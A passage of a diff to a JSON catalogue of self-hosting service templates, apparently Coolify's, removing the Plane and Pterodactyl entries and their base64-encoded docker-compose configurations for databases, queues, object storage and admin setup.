CQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3860,38 +3822,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCiAgd2luZ3M6CiAgICBpbWFnZTogJ2doY3IuaW8vcHRlcm9kYWN0eWwvd2luZ3M6djEuMTIuMScKICAgIHJlc3RhcnQ6IHVubGVzcy1zdG9wcGVkCiAgICBwb3J0czoKICAgICAgLSAnMjAyMjoyMDIyJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfV0lOR1NfODQ0MwogICAgICAtICdUWj0ke1RJTUVaT05FOi1VVEN9JwogICAgICAtIFdJTkdTX1VTRVJOQU1FPXB0ZXJvZGFjdHlsCiAgICB2b2x1bWVzOgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jaycKICAgICAgLSAnL3Zhci9saWIvZG9ja2VyL2NvbnRhaW5lcnMvOi92YXIvbGliL2RvY2tlci9jb250YWluZXJzLycKICAgICAgLSAnL3Zhci9saWIvcHRlcm9kYWN0eWwvOi92YXIvbGliL3B0ZXJvZGFjdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZ